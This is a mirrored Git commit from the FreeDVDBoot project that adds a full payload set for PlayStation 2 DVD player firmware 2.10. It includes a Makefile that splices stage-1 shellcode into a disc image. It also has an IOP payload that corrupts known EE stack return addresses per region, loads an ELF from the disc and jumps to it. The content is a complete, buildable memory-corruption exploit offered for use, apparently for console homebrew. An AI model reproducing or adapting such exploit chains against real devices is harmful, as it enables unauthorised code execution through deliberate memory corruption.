mirror of
https://github.com/CTurt/FreeDVDBoot.git
synced 2026-05-05 07:34:55 +00:00
2.10 support, using new bug
This commit is contained in:
81
PAYLOADS/2.10/Makefile
Normal file
81
PAYLOADS/2.10/Makefile
Normal file
@@ -0,0 +1,81 @@
|
||||
#STAGE1_LOAD_ADDRESS = 0x1f62b0
|
||||
#STAGE1_LOAD_ADDRESS = 0xa01f62b0 # repacked
|
||||
#STAGE1_LOAD_ADDRESS = 0xA01F30B0 # (0xa0000000 + 0x01f62b0 + 0x1F3058 - 0x1f6258) # hardware
|
||||
|
||||
# (0xb7548 + 0x5c700 - 0xb1000) = 0x62C48
|
||||
STAGE1_LOAD_ADDRESS = 0xa0062C48 # hardware
|
||||
|
||||
EE_CC = ee-gcc
|
||||
EE_LD = ee-ld
|
||||
EE_AS = ee-as
|
||||
EE_OBJCOPY = ee-objcopy
|
||||
|
||||
IOP_CC = iop-gcc
|
||||
IOP_LD = iop-ld
|
||||
IOP_AS = iop-as
|
||||
IOP_OBJCOPY = iop-objcopy
|
||||
IOP_OBJDUMP = iop-objdump
|
||||
|
||||
IOP_CFLAGS = -O2 -G 0 -nostartfiles -nostdlib -ffreestanding -g
|
||||
|
||||
EE_CFLAGS = -O2 -G 0 -nostartfiles -nostdlib -ffreestanding -Wl,-z,max-page-size=0x1
|
||||
|
||||
#IOP_PAYLOAD_ENTRY = `$(IOP_OBJDUMP) -t ioppayload.iop.elf | grep " _start"`
|
||||
#IOP_PAYLOAD_ENTRY = 0xa0460178 # Set this manually for now.
|
||||
IOP_PAYLOAD_ENTRY = 0xa00fd178 # Set this manually for now.
|
||||
|
||||
IOP_STAGE1_SIZE = `stat -c '%s' stage1.iop.bin`
|
||||
IOP_PAYLOAD_SIZE = `stat -c '%s' ioppayload.iop.bin`
|
||||
#IOP_PAYLOAD_ADDRESS = 0x460000
|
||||
#IOP_PAYLOAD_ADDRESS = 0xa0460000
|
||||
IOP_PAYLOAD_ADDRESS = 0xa00fd000
|
||||
|
||||
EE_PAYLOAD_ADDRESS = 0x01fff800
|
||||
|
||||
#isoinfo -l -i dvd.iso | grep "BOOT.ELF"
|
||||
#var=`isoinfo -l -i dvd.iso | grep "BOOT.ELF" | grep -o -P "[0-9]*? -"`
|
||||
# LOAD_ELF_FROM_OFFSET =
|
||||
LOAD_ELF_FROM_OFFSET = 0x5BB000 # Set this manually for now
|
||||
|
||||
all: dvd.iso
|
||||
|
||||
dvd.iso: dvd.base.iso stage1.iop.bin ioppayload.iop.bin
|
||||
cp dvd.base.iso dvd.iso
|
||||
|
||||
#genisoimage -udf -o dvd.iso udf/
|
||||
# @echo Insert 0x00000048 to offset 0x0818AC in dvd.iso
|
||||
# @echo Insert 0x00004000 to offset 0x0818B0 in dvd.iso
|
||||
# @echo Insert 0x000B7548 to offset 0x0818F4 in dvd.iso
|
||||
|
||||
# bs=4096 iflag=skip_bytes,count_bytes
|
||||
|
||||
# 0x820f8 = 532728
|
||||
dd if=stage1.iop.bin of=dvd.iso bs=1 seek=532728 count=$(IOP_STAGE1_SIZE) conv=notrunc
|
||||
# 0x700000 = 7340032
|
||||
dd if=ioppayload.iop.bin of=dvd.iso bs=1 seek=7340032 count=$(IOP_PAYLOAD_SIZE) conv=notrunc
|
||||
|
||||
%.iop.bin: %.iop.elf
|
||||
$(IOP_OBJCOPY) -O binary $< $@
|
||||
|
||||
%.iop.o: %.iop.S
|
||||
$(IOP_AS) $< -o $@
|
||||
|
||||
stage1.iop.elf: stage1.iop.S ioppayload.iop.bin
|
||||
$(IOP_OBJDUMP) -t ioppayload.iop.elf | grep " _start"
|
||||
$(IOP_CC) -Ttext=$(STAGE1_LOAD_ADDRESS) $< -DENTRY=$(IOP_PAYLOAD_ENTRY) -DIOP_PAYLOAD_SIZE=$(IOP_PAYLOAD_SIZE) $(IOP_CFLAGS) -o $@
|
||||
|
||||
ioppayload.iop.elf: ioppayload.iop.c eepayload.ee.bin
|
||||
$(IOP_CC) -Ttext=$(IOP_PAYLOAD_ADDRESS) -DLOAD_ELF_FROM_OFFSET=$(LOAD_ELF_FROM_OFFSET) ioppayload.iop.c $(IOP_CFLAGS) -o $@
|
||||
|
||||
|
||||
%.ee.bin: %.ee.elf
|
||||
$(EE_OBJCOPY) -O binary $< $@ -Wl,-z,max-page-size=0x1
|
||||
|
||||
%.ee.o: %.ee.S
|
||||
$(EE_AS) $< -o $@
|
||||
|
||||
eepayload.ee.elf: eecrt0.ee.o syscalls.ee.o eepayload.ee.c
|
||||
$(EE_CC) -Ttext=$(EE_PAYLOAD_ADDRESS) $^ $(EE_CFLAGS) -o $@
|
||||
|
||||
clean:
|
||||
rm -rf *.elf *.bin *.o dvd.iso
|
||||
BIN
PAYLOADS/2.10/dvd.base.iso
Normal file
BIN
PAYLOADS/2.10/dvd.base.iso
Normal file
Binary file not shown.
27
PAYLOADS/2.10/eecrt0.ee.S
Normal file
27
PAYLOADS/2.10/eecrt0.ee.S
Normal file
@@ -0,0 +1,27 @@
|
||||
# ElReino & CTurt 2020
|
||||
|
||||
.section .text.startup
|
||||
|
||||
.global _start
|
||||
_start:
|
||||
# Point stack to end of scratchpad RAM
|
||||
#la $sp, 0x70004000
|
||||
|
||||
la $v0, 0x01FFF7D0
|
||||
sw $v0, 0($v0)
|
||||
|
||||
.global main
|
||||
#la $v1, 0x01
|
||||
#la $a0, 0x7f
|
||||
#syscall 0x01 # ResetEE
|
||||
|
||||
la $a0, main
|
||||
la $a1, 0
|
||||
la $a2, 0
|
||||
la $a3, 0
|
||||
|
||||
jr $a0
|
||||
|
||||
#ExecPS2:
|
||||
#la $v1, 0x07
|
||||
#syscall 0x07 # ExecPS2
|
||||
BIN
PAYLOADS/2.10/eecrt0.ee.o
Normal file
BIN
PAYLOADS/2.10/eecrt0.ee.o
Normal file
Binary file not shown.
BIN
PAYLOADS/2.10/eepayload.ee.bin
Normal file
BIN
PAYLOADS/2.10/eepayload.ee.bin
Normal file
Binary file not shown.
37
PAYLOADS/2.10/eepayload.ee.c
Normal file
37
PAYLOADS/2.10/eepayload.ee.c
Normal file
@@ -0,0 +1,37 @@
|
||||
// ElReino & CTurt 2020
|
||||
|
||||
int (*SifIopReset)(char *, int) = (void *)0x85360;
|
||||
void (*SifInitRpc)(int) = (void *)0x84500;
|
||||
void (*SifExitRpc)(void) = (void *)0x84690;
|
||||
|
||||
extern void SifWriteBackDCache(void *ptr, int size);
|
||||
extern int SifSetReg(unsigned int register_num, unsigned int register_value);
|
||||
extern int SifGetReg(unsigned int register_num);
|
||||
|
||||
static int SifIopSync(void) {
|
||||
#define SIF_REG_SMFLAG 4
|
||||
#define SIF_STAT_BOOTEND 0x40000
|
||||
return((SifGetReg(SIF_REG_SMFLAG) & SIF_STAT_BOOTEND) != 0);
|
||||
}
|
||||
|
||||
static void flush(void) {
|
||||
asm volatile("la $v1, 0x64; la $a0, 0; syscall 0x64"); /* FlushCache data writeback */
|
||||
asm volatile("la $v1, 0x64; la $a0, 2; syscall 0x64"); /* FlushCache instruction invalidate */
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
volatile int *waitAddress = (void *)0x21FFF7F0;
|
||||
while(!*waitAddress);
|
||||
|
||||
flush();
|
||||
|
||||
SifInitRpc(0);
|
||||
SifExitRpc();
|
||||
while(!SifIopReset("", 0));
|
||||
while(!SifIopSync()){};
|
||||
|
||||
//SifInitRpc(0);
|
||||
|
||||
volatile void **entry_point_address = (void *)0x01FFF7E0;
|
||||
ExecPS2(*entry_point_address, 0, 0, 0);
|
||||
}
|
||||
BIN
PAYLOADS/2.10/eepayload.ee.elf
Normal file
BIN
PAYLOADS/2.10/eepayload.ee.elf
Normal file
Binary file not shown.
BIN
PAYLOADS/2.10/ioppayload.iop.bin
Normal file
BIN
PAYLOADS/2.10/ioppayload.iop.bin
Normal file
Binary file not shown.
247
PAYLOADS/2.10/ioppayload.iop.c
Normal file
247
PAYLOADS/2.10/ioppayload.iop.c
Normal file
@@ -0,0 +1,247 @@
|
||||
// ElReino & CTurt
|
||||
|
||||
/* Todo: seperate these settings to an include file.
|
||||
*/
|
||||
#define EE_CRT0_ADDRESS ((void*)0x21FFF800)
|
||||
#define EE_WAIT_ADDRESS ((void*)0x01FFF7F0)
|
||||
#define EE_ENTRYPOINT_ADDRESS ((void *)0x01FFF7E0)
|
||||
//#define EE_DEBUG_ADDRESS ((void *)0x01FFF7D0)
|
||||
|
||||
struct SifDmaTransfer {
|
||||
void *src,
|
||||
*dest;
|
||||
int size;
|
||||
int attr;
|
||||
} __attribute__ ((aligned(8)));
|
||||
|
||||
#define ELF_PT_LOAD 1
|
||||
|
||||
typedef unsigned char u8;
|
||||
typedef unsigned short u16;
|
||||
typedef unsigned int u32;
|
||||
typedef unsigned int size_t;
|
||||
|
||||
typedef struct {
|
||||
u8 ident[16];
|
||||
u16 type;
|
||||
u16 machine;
|
||||
u32 version;
|
||||
u32 entry;
|
||||
u32 phoff;
|
||||
u32 shoff;
|
||||
u32 flags;
|
||||
u16 ehsize;
|
||||
u16 phentsize;
|
||||
u16 phnum;
|
||||
u16 shentsize;
|
||||
u16 shnum;
|
||||
u16 shstrndx;
|
||||
} elf_header_t;
|
||||
|
||||
typedef struct {
|
||||
u32 type;
|
||||
u32 offset;
|
||||
void *vaddr;
|
||||
u32 paddr;
|
||||
u32 filesz;
|
||||
u32 memsz;
|
||||
u32 flags;
|
||||
u32 align;
|
||||
} elf_pheader_t;
|
||||
|
||||
#define SECTOR_SIZE 0x800
|
||||
|
||||
#define min(a, b) (((a) < (b)) ? (a) : (b))
|
||||
|
||||
/* All of these could be reimplemented here, but I'm lazy so we will use whatever
|
||||
* the IOP has already loaded. The addresses are hardcoded but should be easy
|
||||
* enough to extract from IOP memory by looking for their module names and magic
|
||||
* number 0x41C00000.
|
||||
*/
|
||||
|
||||
//int (*readSectors)(int count, int sector, void *destination) = (void *)0xb260c; // repacked ELF
|
||||
int (*readSectors)(int count, int sector, void *destination) = (void *)(0xb260c + 0x5c700 - 0xb1000); // real hardware
|
||||
|
||||
int (*sceSifSetDma)(struct SifDmaTransfer *, int num) = (void *)0x16fc8;
|
||||
int (*sceSifDmaStat)(int trid) = (void *)0x17170;
|
||||
void (*flushIcache)(void) = (void*)0x2f40;
|
||||
void (*flushDcache)(void) = (void*)0x3148;
|
||||
void (*printf)(char *, ...) = (void *)0x1ab84;
|
||||
|
||||
static void transfer_to_ee(void *dest, void *src, unsigned int size);
|
||||
static void *memcpy(void *dest, void *src, unsigned int n);
|
||||
static void *memset(void *s, int c, unsigned int n);
|
||||
static void memset_ee(void *s, int c, unsigned int n);
|
||||
|
||||
static void readData(void *dest, unsigned int offset, size_t n) {
|
||||
//unsigned char buffer[SECTOR_SIZE];
|
||||
//unsigned char *buffer = (void *)0xfd000;
|
||||
unsigned char *buffer = (void *)0xba000; // single
|
||||
|
||||
unsigned int copied = 0;
|
||||
#define remaining (n - copied)
|
||||
|
||||
if(offset % SECTOR_SIZE) {
|
||||
readSectors(1, offset / SECTOR_SIZE, buffer);
|
||||
memcpy(dest, buffer + offset % SECTOR_SIZE, min(SECTOR_SIZE - (offset % SECTOR_SIZE), n));
|
||||
copied += min(SECTOR_SIZE - (offset % SECTOR_SIZE), n);
|
||||
}
|
||||
|
||||
if(remaining >= SECTOR_SIZE) {
|
||||
readSectors(remaining / SECTOR_SIZE, (offset + copied) / SECTOR_SIZE, dest + copied);
|
||||
copied += (remaining / SECTOR_SIZE) * SECTOR_SIZE;
|
||||
}
|
||||
|
||||
if(remaining > 0) {
|
||||
readSectors(1, (offset + copied) / SECTOR_SIZE, buffer);
|
||||
memcpy(dest + copied, buffer, remaining);
|
||||
}
|
||||
|
||||
#undef remaining
|
||||
}
|
||||
|
||||
// Read data but don't care about over/under writing to dest
|
||||
static void readDataUnsafe(void *dest, unsigned int offset, size_t n) {
|
||||
unsigned int sectorAlignedOffset = offset & ~(SECTOR_SIZE - 1);
|
||||
unsigned int underflow = offset - sectorAlignedOffset;
|
||||
|
||||
readSectors((n + underflow + SECTOR_SIZE - 1) / SECTOR_SIZE, sectorAlignedOffset / SECTOR_SIZE, dest - underflow);
|
||||
}
|
||||
|
||||
void _start(void) {
|
||||
extern unsigned char ee_crt0[];
|
||||
extern unsigned int ee_crt0_size;
|
||||
void *return_address = EE_CRT0_ADDRESS;
|
||||
int one = 1;
|
||||
int i;
|
||||
|
||||
transfer_to_ee(EE_CRT0_ADDRESS, ee_crt0, ee_crt0_size);
|
||||
|
||||
/* Corrupt all known return addresses in the stack.
|
||||
*/
|
||||
transfer_to_ee((void *)0x14A5FF0, &return_address, sizeof(return_address)); /* 2.10E/A */
|
||||
transfer_to_ee((void *)0x10007F0, &return_address, sizeof(return_address)); /* 2.10J */
|
||||
transfer_to_ee((void *)0x12D1C70, &return_address, sizeof(return_address)); /* 2.10U */
|
||||
|
||||
|
||||
// Clear bit 0 of 0x208bb710 to make EE exit loop waiting for IOP, and return to our above payload
|
||||
//unsigned int loopValue = 0x010004;
|
||||
//transfer_to_ee((void *)0x208bb710, &loopValue, sizeof(loopValue)); // 2.10E
|
||||
|
||||
|
||||
//unsigned char *buffer = (void *)0xfe000;
|
||||
unsigned char *buffer = (void *)0xBB800;
|
||||
size_t sizeofbuffer = 2 * SECTOR_SIZE; // todo: find a nice large space 4 sectors maybe
|
||||
|
||||
elf_header_t eh;
|
||||
readData(&eh, LOAD_ELF_FROM_OFFSET, sizeof(elf_header_t));
|
||||
|
||||
elf_pheader_t eph[eh.phnum];
|
||||
readData(&eph, LOAD_ELF_FROM_OFFSET + eh.phoff, sizeof(elf_pheader_t) * eh.phnum);
|
||||
|
||||
for (i = 0; i < eh.phnum; i++) {
|
||||
if (eph[i].type != ELF_PT_LOAD)
|
||||
continue;
|
||||
|
||||
// TODO: handle non-16byte aligned transfers
|
||||
|
||||
unsigned int copied = 0;
|
||||
int remaining = eph[i].filesz;
|
||||
while(remaining > 0) {
|
||||
unsigned int k = min(remaining, sizeofbuffer);
|
||||
k = (k + 0xf) & ~0xf;
|
||||
|
||||
// If offset is not aligned to a sector, start with a smaller transfer to get it aligned for future reads
|
||||
if((eph[i].offset + copied) & (SECTOR_SIZE - 1)) k = SECTOR_SIZE - (eph[i].offset + copied) & (SECTOR_SIZE - 1);
|
||||
|
||||
//readData(buffer, LOAD_ELF_FROM_OFFSET + eph[i].offset + copied, k);
|
||||
readDataUnsafe(buffer, LOAD_ELF_FROM_OFFSET + eph[i].offset + copied, k);
|
||||
|
||||
transfer_to_ee(eph[i].vaddr + copied, buffer, k);
|
||||
copied += k;
|
||||
remaining -= k;
|
||||
}
|
||||
|
||||
copied = 0;
|
||||
remaining = eph[i].memsz - eph[i].filesz;
|
||||
|
||||
if(remaining > 0) {
|
||||
// First transfer needs to respect if load size isn't multiple of 16 bytes and not memset 0 over the final eph[i].filesz % 16 bytes
|
||||
if(eph[i].filesz % 16) {
|
||||
readData(buffer, LOAD_ELF_FROM_OFFSET + eph[i].offset + eph[i].filesz - (eph[i].filesz % 16), eph[i].filesz % 16);
|
||||
memset(buffer + (eph[i].filesz % 16), 0, 16 - (eph[i].filesz % 16));
|
||||
transfer_to_ee(eph[i].vaddr + eph[i].filesz - (eph[i].filesz % 16), buffer, 16);
|
||||
|
||||
copied += 16 - (eph[i].filesz % 16);
|
||||
remaining -= 16 - (eph[i].filesz % 16);
|
||||
}
|
||||
|
||||
memset(buffer, 0, sizeofbuffer);
|
||||
}
|
||||
while(remaining > 0) {
|
||||
unsigned int k = min(remaining, sizeofbuffer);
|
||||
k = (k + 0xf) & ~0xf;
|
||||
|
||||
transfer_to_ee(eph[i].vaddr + eph[i].filesz + copied, buffer, k);
|
||||
copied += k;
|
||||
remaining -= k;
|
||||
}
|
||||
|
||||
//unsigned char x[] = { 0x08, 0x00, 0xE0, 0x03, 0x01, 0x00, 0x42, 0x30, 0x01 };
|
||||
//memcpy(buffer, &x, sizeof(x));
|
||||
//memset(buffer + sizeof(x), 0, sizeofbuffer - sizeof(x));
|
||||
//transfer_to_ee(eph[i].vaddr + (eph[i].filesz & ~(0x10 - 1)), buffer, (remaining + 0xf) & ~(0x10 - 1));
|
||||
}
|
||||
|
||||
transfer_to_ee(EE_ENTRYPOINT_ADDRESS, &eh.entry, sizeof(one));
|
||||
|
||||
/* Signal EE that the ELF is loaded and ready to execute.
|
||||
*/
|
||||
transfer_to_ee(EE_WAIT_ADDRESS, &one, sizeof(one));
|
||||
|
||||
//int loopValueJ = 0;
|
||||
//transfer_to_ee((void *)0x205ea210, &loopValueJ, sizeof(loopValueJ)); // 2.10J
|
||||
}
|
||||
|
||||
/* dest and src should be aligned to 16 byte boundary
|
||||
*/
|
||||
static void transfer_to_ee(void *dest, void *src, unsigned int size)
|
||||
{
|
||||
int trid;
|
||||
|
||||
size = size & 0x3FFFFFFF;
|
||||
struct SifDmaTransfer t = { src, dest, size, 0 };
|
||||
|
||||
/* These could be sent in parallel, but is it really worth it?
|
||||
*/
|
||||
trid = sceSifSetDma(&t, 1);
|
||||
while(sceSifDmaStat(trid) > -1){};
|
||||
}
|
||||
|
||||
static void *memcpy(void *dest, void *src, unsigned int n)
|
||||
{
|
||||
int i;
|
||||
|
||||
for(i = 0; i < n; i++)
|
||||
((unsigned char *)dest)[i] = ((unsigned char *)src)[i];
|
||||
|
||||
return dest;
|
||||
}
|
||||
|
||||
static void *memset(void *s, int c, unsigned int n)
|
||||
{
|
||||
int i;
|
||||
|
||||
for(i = 0; i < n; i++)
|
||||
((unsigned char *)s)[i] = c;
|
||||
|
||||
return s;
|
||||
}
|
||||
|
||||
asm("\n\
|
||||
.global ee_crt0\n\
|
||||
ee_crt0:\n\
|
||||
.align 8\n\
|
||||
.incbin \"eepayload.ee.bin\"\n\
|
||||
ee_crt0_size: .word . - ee_crt0\n\
|
||||
");
|
||||
BIN
PAYLOADS/2.10/ioppayload.iop.elf
Normal file
BIN
PAYLOADS/2.10/ioppayload.iop.elf
Normal file
Binary file not shown.
48
PAYLOADS/2.10/stage1.iop.S
Normal file
48
PAYLOADS/2.10/stage1.iop.S
Normal file
@@ -0,0 +1,48 @@
|
||||
# ElReino & CTurt 2020
|
||||
|
||||
# entry 0xb7548 # repacked
|
||||
# entry (0xb7548 + 0x5c700 - 0xb1000) = 0x62C48 (0xa0062C48) # hardware
|
||||
|
||||
|
||||
#readSector = 0xb260c # repacked
|
||||
readSector = (0xb260c + 0x5c700 - 0xb1000) # real hardware
|
||||
|
||||
flushIcache = 0x00002f40
|
||||
flushDcache = 0x0003044
|
||||
|
||||
flushDcacheWrapper = 0x0057f1c
|
||||
|
||||
#iop_payload_address = 0x460000
|
||||
#iop_payload_address = 0xa0460000
|
||||
iop_payload_address = 0xa00fd000
|
||||
|
||||
.section .text
|
||||
|
||||
.global _start
|
||||
_start:
|
||||
move $fp, $sp # We need to reset $fp as it gets trashed by memcpy
|
||||
|
||||
la $a0, (IOP_PAYLOAD_SIZE / 0x800) + 1 # count
|
||||
la $a1, 0x700000 / 0x800 # sector
|
||||
la $a2, iop_payload_address # destination
|
||||
jal readSector
|
||||
|
||||
#jal flushIcache
|
||||
#jal flushDcache
|
||||
|
||||
#jal ENTRY
|
||||
la $v0, ENTRY
|
||||
jalr $v0
|
||||
|
||||
# Return gracefully back to original return address
|
||||
#la $a0, 0x1f62ac # repacked
|
||||
la $a0, (0x1f62ac + 0x1F3058 - 0x1f6258) # hardware
|
||||
|
||||
#la $ra, 0xb3630 # repacked
|
||||
la $ra, (0xb3630 + 0x5c700 - 0xb1000) # hardware
|
||||
|
||||
sw $ra, 0($a0)
|
||||
|
||||
la $v0, 0
|
||||
|
||||
jr $ra
|
||||
BIN
PAYLOADS/2.10/stage1.iop.bin
Normal file
BIN
PAYLOADS/2.10/stage1.iop.bin
Normal file
Binary file not shown.
BIN
PAYLOADS/2.10/stage1.iop.elf
Normal file
BIN
PAYLOADS/2.10/stage1.iop.elf
Normal file
Binary file not shown.
69
PAYLOADS/2.10/syscalls.ee.S
Normal file
69
PAYLOADS/2.10/syscalls.ee.S
Normal file
@@ -0,0 +1,69 @@
|
||||
# ElReino 2020
|
||||
|
||||
# Since GCC does something strange, we can't write syscall thunks directly in C
|
||||
# as GCC adds move $v1, $v0 directly after jr $ra, effectively trashing $v0.
|
||||
# I don't know why this happens, but I do know enough about GCC that this
|
||||
# approach will most probably be easier. But feel free to try fixing it.
|
||||
|
||||
.global SifGetReg
|
||||
SifGetReg:
|
||||
la $v1, 0x7a
|
||||
syscall 0x7a
|
||||
jr $ra
|
||||
|
||||
.global ExecPS2
|
||||
ExecPS2:
|
||||
la $v1, 0x07
|
||||
syscall 0x07 # BTW why do we put the number here also?
|
||||
|
||||
# Not a syscall, but it might as well be.
|
||||
|
||||
.global SifWriteBackDCache
|
||||
SifWriteBackDCache:
|
||||
lui $25, 0xffff
|
||||
ori $25, $25, 0xffc0
|
||||
blez $5, last
|
||||
addu $10, $4, $5
|
||||
and $8, $4, $25
|
||||
addiu $10, $10, -1
|
||||
and $9, $10, $25
|
||||
subu $10, $9, $8
|
||||
srl $11, $10, 0x6
|
||||
addiu $11, $11, 1
|
||||
andi $9, $11, 0x7
|
||||
beqz $9, eight
|
||||
srl $10, $11, 0x3
|
||||
loop1:
|
||||
sync
|
||||
cache 0x18, 0($8)
|
||||
sync
|
||||
addiu $9, $9, -1
|
||||
nop
|
||||
bgtz $9, loop1
|
||||
addiu $8, $8, 64
|
||||
eight:
|
||||
beqz $10, last
|
||||
loop8:
|
||||
addiu $10, $10, -1
|
||||
sync
|
||||
cache 0x18, 0($8)
|
||||
sync
|
||||
cache 0x18, 64($8)
|
||||
sync
|
||||
cache 0x18, 128($8)
|
||||
sync
|
||||
cache 0x18, 192($8)
|
||||
sync
|
||||
cache 0x18, 256($8)
|
||||
sync
|
||||
cache 0x18, 320($8)
|
||||
sync
|
||||
cache 0x18, 384($8)
|
||||
sync
|
||||
cache 0x18, 448($8)
|
||||
sync
|
||||
bgtz $10, loop8
|
||||
addiu $8, $8, 512
|
||||
last:
|
||||
jr $31
|
||||
nop
|
||||
BIN
PAYLOADS/2.10/syscalls.ee.o
Normal file
BIN
PAYLOADS/2.10/syscalls.ee.o
Normal file
Binary file not shown.
Reference in New Issue
Block a user